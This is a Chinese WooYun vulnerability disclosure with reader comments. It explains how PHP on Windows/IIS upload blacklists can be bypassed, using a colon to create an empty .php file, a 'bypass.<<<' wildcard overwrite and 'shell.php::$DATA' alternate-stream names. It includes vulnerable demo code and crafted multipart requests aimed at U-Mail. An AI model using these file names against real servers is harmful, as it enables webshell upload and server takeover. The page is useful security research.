当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(142) 关注此漏洞

缺陷编号: WooYun-2014-71540

漏洞标题: pkav之当php懈垢windows通用上传缺陷

相关厂商: cncert国家互联网应急中心

漏洞作者: felixk3y

提交时间: 2014-08-10 12:14

公开时间: 2014-11-06 12:16

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 设计缺陷/边界绕过 任意文件写入利用 系统特性

88人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-10: 细节已通知厂商并且等待厂商处理中
2014-08-13: 厂商已经确认,细节仅向厂商公开
2014-08-16: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-10-07: 细节向核心白帽子及相关领域专家公开
2014-10-17: 细节向普通白帽子公开
2014-10-27: 细节向实习白帽子公开
2014-11-06: 细节向公众公开

简要描述:

$pkav->publish{当php懈垢windows}
剑心@xsser抛弃了我,但我却不能抛弃乌云..
php懈垢windows,就像男人邂逅女人,早晚都会出问题的..
感谢二哥@gainover
Tips:本文讲述一种新型的文件上传方式(几个特性导致的漏洞),并给出相应的实例..

详细说明:

#1 实例介绍

本案例采用的实例是:U-Mail邮件系统。

U-Mail邮件系统文件上传的地方代码是这样的:

code 区域
<?php
if(ACTION =="attach-upload"){
if($_FILES){
$file_name = $_FILES['Filedata']['name'];
$file_type = $_FILES['Filedata']['type'];
$file_size = $_FILES['Filedata']['size'];
$file_source = $_FILES['Filedata']['tmp_name'];
$file_suffix = getfilenamesuffix( $file_name );
$not_allow_ext = array( "php", "phps", "php3", "exe", "bat" );
if (in_array($file_suffix, $not_allow_ext )){
dump_json( array( "status" => 0, "message" => el( "不支持该扩展名文件上传", "" ) ) );
}
$path_target = getusercachepath( );
do{
$file_id = makerandomname( );
$file_target = $path_target.$file_id.".".$file_suffix;
} while ( file_exists( $file_target ) );
if ( move_uploaded_file( $file_source, $file_target )){
dump_json( array( "status" => 0, "message" => el( "写入文件出错,请与管理员联系!", "" ) ) );
}
$_SESSION[SESSION_ID]['attach_cache'][] = array( "id" => $file_id, "name" => $file_name, "type" => "1", "path" => $file_target, "size" => $file_size );
dump_json( array( "status" => "1", "filename" => $file_name, "filesize" => $file_size, "file_id" => $file_id ) );
}else{
dump_json( array( "status" => "0", "message" => el( "无法找到需要上传的文件!", "" ) ) );
}
}



我们注意到如下的代码

code 区域
$not_allow_ext = array( "php", "phps", "php3", "exe", "bat" );
if (in_array($file_suffix, $not_allow_ext )){
dump_json( array( "status" => 0, "message" => el( "不支持该扩展名文件上传", "" ) ) );
}



非常明显,采用的是黑名单验证,虽然我们可以采用类似这样的文件后缀绕过程序的检测,如:bypass.phpX(这里的X代表空格%20或其他特殊字符{%80-%99}),但这完全不是今天我想要讲的内容。

今天,通过这个实例给大家讲解一种新型的文件上传方式,且听我细细道来..

#2 代码poc实现

为了在本地测试方便,我们对上述代码进行简化,如下

code 区域
<?php
//U-Mail demo ...
if(isset($_POST['submit'])){
$filename = $_POST['filename'];
$filename = preg_replace("/[^\w]/i", "", $filename);
$upfile = $_FILES['file']['name'];
$upfile = str_replace(';',"",$upfile);
$upfile = preg_replace("/[^(\w|\:|\$|\.|\<|\>)]/i", "", $upfile);
$tempfile = $_FILES['file']['tmp_name'];

$ext = trim(get_extension($upfile)); // null

if(in_array($ext,array('php','php3','php5'))){
die('Warning ! File type error..');
}

if($ext == 'asp' or $ext == 'asa' or $ext == 'cer' or $ext == 'cdx' or $ext == 'aspx' or $ext == 'htaccess') $ext = 'file';

//$savefile = 'upload/'.$upfile;
$savefile = 'upload/'.$filename.".".$ext;

if(move_uploaded_file($tempfile,$savefile)){
die('Success upload..path :'.$savefile);
}else{
die('Upload failed..');
}
}
function get_extension($file){
return strtolower(substr($file, strrpos($file, '.')+1));
}
?>
<html>
<body>
<form method="post" action="upfile.php" enctype="multipart/form-data">
<input type="file" name="file" value=""/>
<input type="hidden" name="filename" value="file"/>
<input type="submit" name="submit" value="upload"/>
</form>
</body>
</html>



对于上述代码,虽然是通过黑名单进行文件名检测,但通过目前已知的上传方法,是没有办法成功上传php文件的(不考虑程序的Bug),因此可以说这段文件上传的代码是"安全"的,

可是,我蓦然回首,在那个灯火阑珊的地方,php邂逅了Windows,美丽的爱情故事便由此产生了..

#3 细说故事

某天,二哥在群里丢了一个url连接,我简单看了下,关于利用系统特性进行文件上传的,兴趣马上就来了,就细细研究了下,于是有了这篇文章..

1.jpg



这几行英文的意思大致是,在php+window+iis环境下:

双引号(">") <==> 点号(".")';

大于符号(">") <==> 问号("?")';

小于符号("<") <==> 星号("*")';

有这么好玩的东西,那不就可以做太多的事了?但事实并不是这样,通过一系列的测试发现,该特性只能用于文件上传时覆盖已知的文件,于是这个特性便略显鸡肋..

原因有二:

1)上传文件的目录一般我们都不可控;

2)同时,一般文件上传的目录不可能存在我们想要的任何php文件,因此没办法覆盖;

后来,经过反反复复的思考,终于找到了可以完美利用的办法..

思路如下:

首先我们先利用特殊办法生成一个php文件,然后再利用这个特性将文件覆盖..

可问题又来了,怎样生成php文件呢?如果可以直接生成php文件的话,干嘛还要利用那什么特性?

别急,办法总是有的..

我们都知道在文件上传时,我们往往会考虑到文件名截断,如%00 等..

对!有的人可能还会用冒号(":")去截断,如:bypass.php:jpg

但是你知道吗?冒号截断产生的文件是空白的,里面并不会有任何的内容,呵呵 说到这里 明白了没有? 虽然生成的php文件里面没有内容,但是php文件总生成了吧,所以 我们可以结合上面所说的特性完美成功利用..

#4 冒号+特性成功利用

按照#3提供的思路,实现..

本地测试地址:http://**.**.**.**/upfile.php 环境:Windows+IIS7.5

1)首先利用冒号生成我们将要覆盖的php文件,这里为:bypass.php,如图

2.jpg



点击forward后,可以看见成功生成空白的bypass.php文件

3.jpg



2)利用上面的系统特性覆盖该文件

从上面已经知道"<" 就等于 "*",而"*"代码任意字符,于是乎..

我们可以这样修改上传的文件名,如下:

code 区域
------WebKitFormBoundaryaaRARrn2LBvpvcwK
Content-Disposition: form-data; name="file"; filename="bypass.<<<"
Content-Type: image/jpeg
//注意!文件名为:bypass.<<<



点击go..,即可成功覆盖bypass.php文件,如图

4.jpg



对比上面的两个图,bypass.php被我们成功的写入了内容..

5.jpg



#5 特性二

首先来看看微软MSDN上面的一段话,如图

6.jpg



注意红色圈起来的英文

code 区域
The default data stream has no name. That is, the fully qualified name for the default stream for a file called "sample.txt" is "sample.txt::$DATA" since "sample.txt" is the name of the file and "$DATA" is the stream type.



看不去不错哟,试试吧..

同样,我们可以这样修改上传的文件名,如下:

code 区域
------WebKitFormBoundaryaaRARrn2LBvpvcwK
Content-Disposition: form-data; name="file"; filename='DataStreamTest.php::$DATA'
Content-Type: image/jpeg
//注意!文件名为:DataStreamTest.php::$DATA



点击GO,奇迹出现了..

7.jpg



访问之...

8.jpg

漏洞证明:

#6 漏洞证明

U-Mail,具体利用方法,同上述的方法一样,为了简单快捷的话,可直接抓包修改文件名为:

shell.php::$DATA 即可成功上传,这里不再演示,附shell

9.jpg

修复方案:

你懂的

版权声明:转载请注明来源 felixk3y@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-08-13 09:07

厂商回复:

对于所述分析情况,CNVD对原理进行核验,确认风险(暂未评估影响情况)。建议公开,供大家参考。暂未列入处置流程。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共4人评价):
登陆后才能进行评分
75%
0%
0%
0%
25%

评价

  1. 2014-08-08 12:15 | 好人 ( 路人 | Rank:13 漏洞数:6 | 多少人曾爱慕你年轻的容颜)
    2

    剑心@xsser抛弃了我,但我却不能抛弃乌云..

  2. 2014-08-08 12:15 | xiaoL ( 普通白帽子 | Rank:361 漏洞数:67 | PKAV技术宅社区! Blog:http://www.xlixli....)
    0

    前排支持!

  3. 2014-08-08 12:16 | magerx ( 普通白帽子 | Rank:257 漏洞数:45 | 别说话。)
    0

    前排顶F兄

  4. 2014-08-08 12:18 | mango ( 核心白帽子 | Rank:2081 漏洞数:303 | 解决问题的第一步,是要承认问题的存在。)
    0

    瞅瞅

  5. 2014-08-08 12:23 | phith0n 认证白帽子 ( 普通白帽子 | Rank:804 漏洞数:125 | 一个想当文人的黑客~)
    0

    残遭抛弃。。。

  6. 2014-08-08 12:24 | Power ( 实习白帽子 | Rank:78 漏洞数:26 )
    0

    mark

  7. 2014-08-08 12:33 | 泳少 ( 普通白帽子 | Rank:248 漏洞数:82 | ★ 梦想这条路踏上了,跪着也要...)
    0

    ...

  8. 2014-08-08 12:43 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)
    0

    pdf:http://pan.baidu.com/s/1hqiQRbA

  9. 2014-08-08 12:44 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)
    0

    写错了吧?邂逅

  10. 2014-08-08 12:47 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:3082 漏洞数:613 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)
    0

    支持·

  11. 2014-08-08 12:48 | felixk3y ( 普通白帽子 | Rank:523 漏洞数:41 | php python jsp)
    0

    @园长 是的,审核的改错了

  12. 2014-08-08 13:02 | px1624 ( 普通白帽子 | Rank:1104 漏洞数:186 | px1624)
    0

    感谢二哥@gainover !GN无所不能!你进PKAV了啊!恭喜

  13. 2014-08-08 13:08 | X,D ( 普通白帽子 | Rank:143 漏洞数:8 | X,D)
    0

    你可以把@xsser邂逅了。

  14. 2014-08-08 13:09 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)
    0

    @园长 肯定不是打拼音的...

  15. 2014-08-08 13:31 | cnrstar ( 普通白帽子 | Rank:161 漏洞数:24 | Be my personal best!)
    0

    马克一下

  16. 2014-08-08 14:02 | xyang ( 普通白帽子 | Rank:341 漏洞数:77 | stay hungry stay foolish)
    0

    Mark

  17. 2014-08-08 14:15 | 屎蛋 ( 路人 | Rank:8 漏洞数:2 | boom)
    0

    马了个克

  18. 2014-08-08 14:16 | B1acken ( 普通白帽子 | Rank:175 漏洞数:57 | 渣渣)
    0

    @园长 有没有中文版呀,大牛

  19. 2014-08-08 16:58 | p4ssw0rd ( 普通白帽子 | Rank:306 漏洞数:92 | 不作死就不会死)
    0

    MARK

  20. 2014-08-09 14:15 | mramydnei ( 普通白帽子 | Rank:400 漏洞数:87 )
    0

    8.3 names?

  21. 2014-08-11 16:01 | 香草 ( 实习白帽子 | Rank:99 漏洞数:14 | javascript,xss,jsp、aspx)
    0

    感觉很牛逼的样子

  22. 2014-08-13 09:21 | 铁汉 ( 路人 | Rank:12 漏洞数:6 | 向各种大神学习之)
    0

    又有一大批P+W网站要遭殃了?

  23. 2014-09-02 09:37 | px1624 ( 普通白帽子 | Rank:1104 漏洞数:186 | px1624)
    0

    给力!

  24. 2014-10-15 15:40 | ToySweet ( 实习白帽子 | Rank:36 漏洞数:8 | 做有道德的安全研究员。)
    0

    !!!学习了

  25. 2014-11-06 12:22 | 大白菜 ( 实习白帽子 | Rank:52 漏洞数:19 )
    0

    ...采用黑名单过滤法~很鸡肋啊.......大多不是这样的

  26. 2014-11-06 12:44 | cnrstar ( 普通白帽子 | Rank:161 漏洞数:24 | Be my personal best!)
    0

    很久前了http://zone.wooyun.org/content/1064

  27. 2014-11-06 13:14 | Chu ( 实习白帽子 | Rank:66 漏洞数:10 | 学习ing。)
    0

    点赞

  28. 2014-11-14 23:51 | 狗狗侠 认证白帽子 ( 普通白帽子 | Rank:518 漏洞数:58 | 我是狗狗侠)
    1

    确实不错,奇技淫巧

  29. 2015-03-19 00:57 | sin ( 实习白帽子 | Rank:38 漏洞数:2 )
    0

    学习了

  30. 2015-09-12 19:16 | 魂淡、 ( 路人 | Rank:17 漏洞数:2 | 么么哒)
    0

    超级赞

登录后才能发表评论,请先 登录